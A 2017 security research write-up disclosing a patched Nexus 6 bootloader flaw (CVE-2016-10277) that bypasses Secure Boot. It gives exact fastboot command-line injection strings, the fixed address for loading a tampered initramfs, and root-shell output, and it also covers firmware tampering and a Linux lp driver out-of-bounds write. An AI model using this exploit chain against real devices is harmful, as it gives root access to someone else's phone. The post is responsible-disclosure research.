<--

initroot: Bypassing Nexus 6 Secure Boot through Kernel Command-line Injection

By Roee Hay (@roeehay)
May 23, 2017
* *

In the May 2017 Android Security Bulletin, Google released a patch to a critical and unique vulnerability CVE-2016-10277 in the Nexus 6 Motorola bootloader we had found and responsibly disclosed. It should be noted that although we only verified this issue on Nexus 6, it could potentially affect other Motorola devices as well.

By exploiting the vulnerability, a physical adversary or one with authorized-ADB/fastboot USB access to the (bootloader-locked) device (such as PC malware awaiting for an ADB-authorized developer’s device to be hooked via USB) could break the Secure/Verified Boot mechanism, allowing him to gain unrestricted root privileges, and completely own the user space (which may also lead much more), by loading a tampered or malicious initramfs image. Moreover, exploitation does not lead to a factory reset hence user data remains intact (and still encrypted). It should be noted that we do not demonstrate an untethered attack.

During this research we also uncovered a 18-year-old Linux Kernel bug (not affecting Nexus 6 and probably does not affect any Android device): CVE-2017-1000363

Before we begin, here is a video demo of the PoC exploit:

Table of Contents

  1. Preface
  2. Vulnerability: Kernel Command-Line Injection (CVE-2016-10277)
  3. Immediate Result: Bypassing CVE-2016-8467’s Patch
  4. A Whole New Attack Surface
  5. Secure Boot in Nexus 6
  6. Linux Kernel Initialization: From ABOOT to init in a Nutshell
  7. Initializing userspace & dm-verity
  8. Failed Attempt: Controlling ramdisk_execute_command
  9. Controlling the initramfs Physical Loading Address.
  10. Loading Arbitrary Data to Memory Through USB
  11. Creating a Malicious initramfs
  12. Putting it All Together: got root!
  13. Beyond initramfs: Firmware Injection
  14. Google’s Patch
  15. Anecdote: Linux Kernel Out-of-Bounds Write (CVE-2017-1000363)

Preface

In January 2017 we disclosed a high severity vulnerability, CVE-2016-8467, affecting Nexus 6/6P, that allowed attackers to change the bootmode of the device, giving access to hidden USB interfaces. This was done through a fastboot command, such as fastboot oem config bootmode bp-tools which caused the bootloader to change the androidboot.mode argument in the kernel command line. Google has fixed the issue by hardening the bootloader – a locked bootloader no longer allowed booting with a custom bootmode.

Just before Google released the patch, we had discovered way to bypass it on Nexus 6.

Vulnerability: Kernel Command-line Injection (CVE-2016-10277)

Nexus 6’s bootloader contains several arguments that can be controlled through the fastboot interface, even if the bootloader is locked:

$ fastboot oem config
[...]
(bootloader) <UTAG name="battery" protected="false">
(bootloader)   <value>
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     Battery detection control
(bootloader)     ("meter_lock" or "no_eprom")
(bootloader)   </description>
(bootloader) </UTAG>

(bootloader) <UTAG name="bootmode" protected="false">
(bootloader)   <value>
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     To force certain bootmode
(bootloader)     (valid values are "fastboot", "factory", "bp-tools", "q
(bootloader)     com", and "on-device-diag")
(bootloader)   </description>
(bootloader) </UTAG>

(bootloader) <UTAG name="carrier" protected="false">
(bootloader)   <value>
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     Carrier IDs, see http://goo.gl/lojLh3
(bootloader)   </description>
(bootloader) </UTAG>

(bootloader) <UTAG name="console" type="str" protected="false">
(bootloader)   <value>
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     Config kernel console log
(bootloader)       enable|true     - enable with default settings
(bootloader)       disable|false   - disable
(bootloader)       <config string> - enable with customized settings
(bootloader)       (e.g.: "ttyHSL0", "ttyHSL0,230400,n8")
(bootloader)   </description>
(bootloader) </UTAG>

(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.048s]
finished. total time: 0.048s

The fsg-id, carrier and console parameters can contain arbitrary values (although with a restricted size), which eventually propagate to the kernel command line. One can prove that by issuing the following commands:

$ fastboot oem config console foo
$ fastboot oem config fsg-id bar
$ fastboot oem config carrier baz

And then check the kernel command line:

shamu:/ $ dmesg | grep command
[    0.000000] Kernel command line: console=foo,115200,n8 earlyprintk 
androidboot.console=foo androidboot.hardware=shamu msm_rtb.filter=0x37
ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags
utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M
vmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97
androidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117
androidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0
androidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=reboot
androidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=bar
androidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EB
androidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0
androidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=baz androidboot.hard<

Now, if the bootloader didn’t sanitize those arguments, then we could pass arbitrary kernel command line arguments:

$ fastboot oem config console "a androidboot.foo=0 "
$ fastboot oem config fsg-id "a androidboot.bar=1"
$ fastboot oem config carrier "a androidboot.baz=2"

And indeed:

shamu:/ $ dmesg | grep command
[    0.000000] Kernel command line: console=a androidboot.foo=0 ,115200,n8 earlyprintk 
androidboot.console=a androidboot.foo=0  androidboot.hardware=shamu msm_rtb.filter=0x37
ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags
utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M
vmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97
androidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117
androidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0
androidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=reboot
androidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=a androidboot.bar=1
androidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EB
androidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0
androidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=a androidboot.baz=2 androidboot.hard<

As one can see, we’ve managed to set arbitrary ro.boot properties:

shamu:/ $ getprop ro.boot.foo
0
shamu:/ $ getprop ro.boot.bar
1
shamu:/ $ getprop ro.boot.baz
2
shamu:/ $

Immediate Result: Bypassing CVE-2016-8467’s Patch

At this point, bypassing CVE-2016-8467’s patch is trivial:

$ fastboot oem config console "a androidboot.mode=bp-tools "
[...]
(bootloader) <UTAG name="conolse" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a androidboot.mode=bp-tools
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     Carrier IDs, see http://goo.gl/lojLh3
(bootloader)   </description>
(bootloader) </UTAG>
[...]

And indeed:

shamu:/ $ getprop ro.boot.mode
bp-tools
shamu:/ $

Please note that we must change the console parameter in order to beat the real androidboot.mode arg that is inserted by the bootloader. (Code that handles the kernel cmdline for the init process is under core/init/init.cpp!import_kernel_nv.)

But can we do anything beyond changing the bootmode, by inserting arbitrary args into the command line?

A Whole New Attack Surface

The kernel command line is consumed by several entities across the OS, including:

  1. In kernel code, through the __setup macro.
  2. In kernel code, through the early_param macro.
  3. In kernel modules code, through the module_param* macros.
  4. In kernel modules codes, through the core_param macro.
  5. In user space (e.g. init, see above).

There are dozens if not hundreds of usages of these macros – any feature or bug introduced by controlling them could be exploited. We will now see that being able to control a single argument allowed us the defeat Secure Boot.

Secure Boot in Nexus 6

The boot process of Qualcomm MSM devices (such as Motorola Nexus 6) is (much briefly!) as follows:

[Primary Bootloader (PBL)]
`-.
  [Secondary Bootloader (SBL)]
   `-.
     [Applications Bootloader (ABOOT)]
     `-.      
       [{boot,recovery}.img]
       |-- Linux Kernel
       `-- initramfs
           `-.
             [system.img]

The PBL kicks-in from ROM when the device is powered on. It then loads the digitally-signed SBL to memory, and verifies its authenticity. The SBL loads the digital-signed ABOOT (which implements the fastboot interface), and again verifies its authenticity. The signed certificates of the SBL and ABOOT have a root certificate anchored in hardware.

ABOOT then verifies the authenticity of the boot or recovery images, loads the Linux kernel and initramfs from the boot or recovery images at fixed physical addresses (0x8000 & 0x2000000 in Nexus 6). initramfs is a cpio (gzipped) archive that gets loaded into rootfs (a RAM filesystem mounted at /) during the Linux kernel initialization. It contains the init binary, the first users pace process.

The bootloader (ABOOT) prepares the kernel command line and initramfs parameters for the Linux kernel in the Device Tree Blob (DTB) located at physical address 0x1e00000. One can confirm that by dumping the in-memory DTB to disk, and then parse it with fdtdump:

[...]
linux,initrd-end = <0x02172814>;
linux,initrd-start = <0x02000000>;
bootargs = "console=ttyHSL0,115200,n8 earlyprintk androidboot.console=ttyHSL0 androidboot.hardware=shamu msm_rtb.filter=0x37 ehci-hcd.park=3 
utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M 
vmalloc=300M buildvariant=userdebug androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97 androidboot.baseband=mdm
[...]

The bootloader then transfers execution to the Linux kernel.

Linux Kernel Initialization: From ABOOT to init in a Nutshell

The Linux kernel function that parses the parameters given by ABOOT in the DTB is early_init_dt_scan_chosen. In arm kernels, it eventually calls this specific function:

void __init early_init_dt_setup_initrd_arch(unsigned long start, unsigned long end)
{
	phys_initrd_start = start;
	phys_initrd_size = end - start;
}

Physical memory addressed by phys_initrd_start is then mapped into the virtual address space by the following code:

void __init arm_memblock_init(struct meminfo *mi, struct machine_desc *mdesc)
{
[...]
	if (phys_initrd_size) {
		memblock_reserve(phys_initrd_start, phys_initrd_size);

		/* Now convert initrd to virtual addresses */
		initrd_start = __phys_to_virt(phys_initrd_start);
		initrd_end = initrd_start + phys_initrd_size;
	}
[...]
}

The initramfs is unpacked to rootfs next:

static int __init populate_initramfs(void)
{
[...]
   if (initrd_start) {
#ifdef CONFIG_BLK_DEV_RAM
		int fd;    
		err = unpack_to_initramfs((char *)initrd_start,
			initrd_end - initrd_start);
		if (!err) {
			free_initrd();
			goto done;
		} else {
			clean_initramfs();
			unpack_to_initramfs(__initramfs_start, __initramfs_size);
		}
[...]
   }
   return 0;
}
initramfs_initcall(populate_initramfs);

Eventually the kernel_init function is called, which executes the first userspace process: /init.

static int __ref kernel_init(void *unused)
{
[...]
	if (ramdisk_execute_command) {
		if (!run_init_process(ramdisk_execute_command))
			return 0;
		pr_err("Failed to execute %s\n", ramdisk_execute_command);
	}
[...]
}

(ramdisk_execute_command has a default value of /init.)

Initializing userspace & dm-verity

init is in charge of bringing up the user space. Among its duties, is setting up SELinux (load its policies, etc). Once the policies are loaded, it will be in the kernel domain, but soon after the SELinux initialization code completes, it transfers itself to the init domain. Please note that on production builds, even if the kernel is loaded with non-enforcing SELinux (which can be done, for example, by appending androidboot.selinux=permissive to the kernel command line), init will re-enforce:

static void selinux_initialize(bool in_kernel_domain) {
[...]
    if (in_kernel_domain) {
        INFO("Loading SELinux policy...\n");
[...]
        bool kernel_enforcing = (security_getenforce() == 1);
        bool is_enforcing = selinux_is_enforcing();
        if (kernel_enforcing != is_enforcing) {
            if (security_setenforce(is_enforcing)) {
                ERROR("security_setenforce(%s) failed: %s\n",
                      is_enforcing ? "true" : "false", strerror(errno));
                security_failure();
            }
        }
[...]
    }
}

(on production builds, selinux_is_enforce() always returns true.).

init also triggers the partition mounts. dm-verity later verifies the integrity of relevant partitions (e.g. system) with a public key stored under the initramfs (/verity_key) – an untrusted initramfs means an untrusted system partition.

So how can the attacker interfere with the described boot process, given the Kernel Command-line Injection Vulnerability?

Failed Attempt: Controlling ramdisk_execute_command

It turns out that there is a kernel command line argument rdinit that overrides /init, the default value of ramdisk_execute_command:

static int __init rdinit_setup(char *str)
{
	unsigned int i;

	ramdisk_execute_command = str;
	/* See "auto" comment in init_setup */
	for (i = 1; i < MAX_INIT_ARGS; i++)
		argv_init[i] = NULL;
	return 1;
}
__setup("rdinit=", rdinit_setup);

That looked promising, by exploiting our vulnerability we could cause the kernel to execute an arbitrary user space process, e.g. fastboot oem config carrier "a rdinit=/sbin/foo". The main challenge we encountered which made controlling rdinit ineffective was the fact that the Nexus 6 initramfs contains a very limited set of binaries:

$ ls -la sbin
adbd  healthd  slideshow ueventd  watchdogd

Even if one of them could have some potential (e.g. adbd), user space at that point of execution is uninitialized, hence they may fail due to dependencies which they rely on that are not satisfied. Given the rather big attack surface described above, we decided to move along to the next command line argument we could control, however further analysis of these binaries may prove they are useful.

Controlling the initramfs Physical Loading Address

Interestingly, we’ve realized that in arm, it is also possible to control, through a kernel command line argument initrd, the physical address where the initramfs is loaded from by the kernel!

Under arch/arm/mm/init.c:

static int __init early_initrd(char *p)
{
	unsigned long start, size;
	char *endp;

	start = memparse(p, &endp);
	if (*endp == ',') {
		size = memparse(endp + 1, NULL);

		phys_initrd_start = start;
		phys_initrd_size = size;
	}
	return 0;
}
early_param("initrd", early_initrd);

This overrides the default values provided by ABOOT in the DTB. We then tested it with a random value, expecting the Kernel to crash:

$ fastboot oem config fsg-id "a initrd=0x33333333,1024"
[...]
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x33333333,1024
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.016s]
finished. total time: 0.016s

$ fastboot continue

It indeed crashed!

This kind of attack is analogous to controlling the Instruction Pointer (IP register) or Program Counter (PC register) in memory corruption bugs, so the first order of business in this case would be loading our own tampered initramfs archive to the device’s memory, through fastboot.

Note that the Linux Kernel does not re-verify the authenticity of initramfs, it relies on the bootloader to do that, so if we manage to put a tampered initramfs at the controlled phys_initrd_start physical address, the kernel will indeed populate it into rootfs.

Loading Arbitrary Data to Memory through USB

ABOOT’s fastboot provides a download mechanism via USB, which supports features such as flashing. The download functionality is available even on locked bootloaders, therefore the attacker can use this feature in order to load a tampered initramfs on the device. Our only hope is that the bootloader nor the kernel zero-out/override that data before initramfs is populated into rootfs. In order to verify that, we made the following experiment. First, we installed our own msm-shamu kernel with Loadable-Kernel Modules (LKM) support. We then uploaded to the device a large blob 0123456789ABCDEFALEFALEFALEF... via fastboot:

$ fastboot flash aleph payload.bin
[...]
target reported max download size of 536870912 bytes
sending 'aleph' (524288 KB)...
OKAY [ 62.610s]
writing 'aleph'...
(bootloader) Not allowed in LOCKED state!
FAILED (remote failure)
finished. total time: 62.630s

Please note that the failure message is due to the flashing attempt, however, the data is downloaded by device anyway.

We booted the platform with fastboot continue, and then dumped the whole physical memory with the LiME LKM (a great tool!), searching for our blob:

10FFFFC0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
10FFFFD0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
10FFFFE0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
10FFFFF0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11000000  30 31 32 33 34 35 36 37 38 39 41 42 43 44 45 46  0123456789ABCDEF
11000010  41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46  ALEFALEFALEFALEF
11000020  41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46  ALEFALEFALEFALEF
11000030  41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46  ALEFALEFALEFALEF
11000040  41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46  ALEFALEFALEFALEF
11000050  41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46  ALEFALEFALEFALEF

This has given us a stronger guarantee because our payload survived even when the platform is up and running. We’ve repeated this process several times, there was nothing random – the payload is always loaded at 0x11000000 and is available for the Linux Kernel!

For the sake of curiosity we’ve also statically verified this result. It turns out that Little Kernel (LK), which the Nexus 6 is based on, has a memory area pointed by SCRATCH_ADDR where the downloaded data is saved under. Loading the ABOOT binary with IDA confirms (functions renamed for readability):

int fastboot_mode()
{
[...]
  dprintf(1, "Entering fastboot mode\n");
[...]
  v8 = return11000000();
  v9 = return20000000();
  fastboot_init(v8, v9);
  v11 = sub_FF2EA94(v10);
  if ( v13 != v10021C84 )
    sub_FF3D784();
  return sub_FF15BA4(v11);
}

signed int return11000000()
{
  signed int result; // [email protected]

  result = 0x11000000;
  if ( v10021C84 != v10021C84 )
    sub_FF3D784();
  return result;
}

This value is eventually consumed by the download handler of ABOOT.

To conclude, we have the following physical memory layout before the initramfs archive is populated from memory into rootfs:

.-------------------.------------------------------.-----------.
| Physical Address  | What                         | Loaded by |
|-------------------|------------------------------|-----------|
| 0x00008000        | Linux Kernel                 | ABOOT     |
| 0x01E00000        | Device Tree Blob (DTB)       | ABOOT     |
| 0x02000000        | Verified initramfs           | ABOOT     |
| 0x11000000        | Tampered initramfs (payload) | Adversary |
`-------------------'------------------------------'-----------'

We are now all done, we can now place our initramfs at a fixed physical address and then instruct the kernel to populate it.

Creating a Malicious initramfs

The final step is to create our own malicious initramfs. One can just compile a userdebug AOSP boot image and rip the initramfs.cpio.gz file out of it, since it contains the su domain and a root-capable adbd. The only caveat is dm-verity which will not be able to verify the official system partition (because the AOSP boot image will contain the debug verity_key). Anyway, since we are now able to load a malicious initramfs, this annoyance can be bypassed easily by editing the fstab file (removing the verification), or replacing the debug verity_key with the official one from the relevant build.

A Proof-of-Concept initramfs is available in our GitHub research repo.

Putting it All Together: got root!

We now have everything we need:

  1. We have a malicious initramfs archive.
  2. We can load it into memory at a fixed physical address using the bootloader fastboot interface.
  3. We can instruct the Linux kernel to populate it from that address.

In terms of Secure Boot, we now have the following broken chain-of-(dis)trust:

[Primary Bootloader (PBL)]
`-.
  [Secondary Bootloader (SBL)]
   `-.
     [Applications Bootloader (ABOOT)]
     `-.      
       [{boot,recovery}.img]
       |-- Linux Kernel
       `-- initramfs <- Controlled by Attacker in Memory
           `-.
             [system.img] <- Cannot be Trusted

The following shows a successful attack:

$ adb shell
shamu:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
shamu:/ $ getenforce
Enforcing
shamu:/ $ setenforce permissive
setenforce: Couldn't set enforcing status to 'permissive': Permission denied
shamu:/ $ reboot bootloader

$ fastboot getvar unlocked
[...]
unlocked: no
finished. total time: 0.008s

$ fastboot oem config fsg-id "a initrd=0x11000000,1518172"
[...]
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x11000000,1518172
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.016s]
finished. total time: 0.016s

$ fastboot flash aleph malicious.cpio.gz
[...]
target reported max download size of 536870912 bytes
sending 'aleph' (1482 KB)...
OKAY [  0.050s]
writing 'aleph'...
(bootloader) Not allowed in LOCKED state!
FAILED (remote failure)
finished. total time: 0.054s

$ fastboot continue
[...]
resuming boot...
OKAY [  0.007s]
finished. total time: 0.007s

$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
shamu:/ # getenforce
Enforcing
shamu:/ # setenforce permissive
shamu:/ # getenforce
Permissive
shamu:/ #

Beyond initramfs: Firmware Injection

Now that the we have full control over rootfs, we can also create a malicious /vendor folder, which normally contains firmware images of various SoCs available on the board:

shamu:/ # ls /vendor/firmware
VRGain.bin  adsp.b03 adsp.b11                                 bcm20795_firmware.ncd   left.boost.music.eq           left.boost_n1b12.patch           right.boost.ringtone.eq        right.boost_ringtone_table.preset venus.mdt
a420_pfp.fw adsp.b04 adsp.b12                                 bcm4354A2.hcd           left.boost.ringtone.config    left.boost_n1c2.patch            right.boost.speaker            right.boost_voice_table.preset    widevine.b00
a420_pm4.fw adsp.b05 adsp.mdt                                 cy8c20247_24lkxi.hex    left.boost.ringtone.eq        left.boost_ringtone_table.preset right.boost.voice.config       venus.b00                         widevine.b01
acdb.mbn    adsp.b06 aonvr1.bin                               fw_bcmdhd.bin           left.boost.speaker            left.boost_voice_table.preset    right.boost.voice.eq           venus.b01                         widevine.b02
adsp.b00    adsp.b07 aonvr2.bin                               fw_bcmdhd_apsta.bin     left.boost.voice.config       right.boost.music.config         right.boost_music_table.preset venus.b02                         widevine.b03
adsp.b01    adsp.b08 atmel-a432-14061601-0102aa-shamu-p1.tdat keymaster               left.boost.voice.eq           right.boost.music.eq             right.boost_n1b12.patch        venus.b03                         widevine.mdt
adsp.b02    adsp.b10 atmel-a432-14103001-0103aa-shamu.tdat    left.boost.music.config left.boost_music_table.preset right.boost.ringtone.config      right.boost_n1c2.patch         venus.b04

Kernel drivers usually consume these images upon initialization, and update their SoC counterparts if needed. Hence, the attacker could flash unsigned firmware images. We haven’t checked if there are such, but from our experience with other devices, there are. As for signed ones, downgrade attacks might be possible as well. In addition, the modem firmware resides under /firmware/image, which we could also alter and theoretically conduct similar attacks (see below). Again, we haven’t verified what kind of integrity checking exists nor if it is vulnerable to downgrade attack, leaving it aside for future research.

shamu:/ # umount -f /firmware
shamu:/ # mount  /dev/block/mmcblk0p1 /firmware -o rw
shamu:/ # ls /firmware/image
acdb.mbn         bdwlan20.bin cmnlib.b03       efs1.bin    isdbtmm.b01 mba_9225.mbn.gz playready.b00 playready.mdt prov.b03            qwlan11.bin     sampleapp.b00 sampleapp.mdt    securemm.b01 tqs.b00 tqs.mdt        utf20.bin
apps_9225.mbn.gz cmnlib.b00   cmnlib.mdt       efs2.bin    isdbtmm.b02 mba_9625.mbn.gz playready.b01 prov.b00      prov.mdt            qwlan20.bin     sampleapp.b01 sbl1_9225.mbn.gz securemm.b02 tqs.b01 tz_9225.mbn.gz
apps_9625.mbn.gz cmnlib.b01   dsp2_9225.mbn.gz efs3.bin    isdbtmm.b03 otp11.bin       playready.b02 prov.b01      qdsp6sw_9225.mbn.gz rpm_9225.mbn.gz sampleapp.b02 sbl1_9625.mbn.gz securemm.b03 tqs.b02 tz_9625.mbn.gz
bdwlan11.bin     cmnlib.b02   dsp2_9625.mbn.gz isdbtmm.b00 isdbtmm.mdt otp20.bin       playready.b03 prov.b02      qdsp6sw_9625.mbn.gz rpm_9625.mbn.gz sampleapp.b03 securemm.b00     securemm.mdt tqs.b03 utf11.bin
shamu:/ # echo foo > /firmware/image/foo
shamu:/ # cat /firmware/image/foo
foo

Google’s Patch

Google’s patch for this vulnerability is available in the May 2017 Bulletin. Bootloader version moto-apq8084-72.03 available in build N6F27C now sanitizes the fsg-id, carrier and console config arguments:

$ fastboot oem config fsg-id "foo foo=1"
[...]
$ fastboot oem config carrier "bar bar=1"
[...]
$ fastboot oem config carrier "baz baz=1"
[...]
$ fastboot oem config
[[email protected]:/aosp/source/android-7.1.1_r40]$ fastboot oem config
[...]
(bootloader) <UTAG name="carrier" type="str" protected="false">
(bootloader)   <value>
(bootloader)     bar
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     Carrier IDs, see http://goo.gl/lojLh3
(bootloader)   </description>
(bootloader) </UTAG>

(bootloader) <UTAG name="console" type="str" protected="false">
(bootloader)   <value>
(bootloader)     baz
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     Config kernel console log
(bootloader)       enable|true     - enable with default settings
(bootloader)       disable|false   - disable
(bootloader)       <config string> - enable with customized settings
(bootloader)       (e.g.: "ttyHSL0", "ttyHSL0,230400,n8")
(bootloader)   </description>
(bootloader) </UTAG>

(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     foo
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>]

Anecdote: A Linux Kernel Out-of-Bounds Write (CVE-2017-1000363)

During the work on this research, we also uncovered an ancient (since 2.2.0!) Out-of-Bounds write in the Linux Kernel CVE-2017-1000363. The bug is in the lp driver (so CONFIG_PRINTER=y is required), and is triggered when many lp=none arguments are appended to the Kernel Command Line:

static int parport_nr[LP_NO] = { [0 ... LP_NO-1] = LP_PARPORT_UNSPEC };
[...]
#ifndef MODULE
static int __init lp_setup (char *str)
{
	static int parport_ptr;
[...]
	} else if (!strcmp(str, "none")) {
		parport_nr[parport_ptr++] = LP_PARPORT_NONE;
	} 
[...]
}
#endif
[...]
__setup("lp=", lp_setup);

A patch has been committed to the mainline kernel.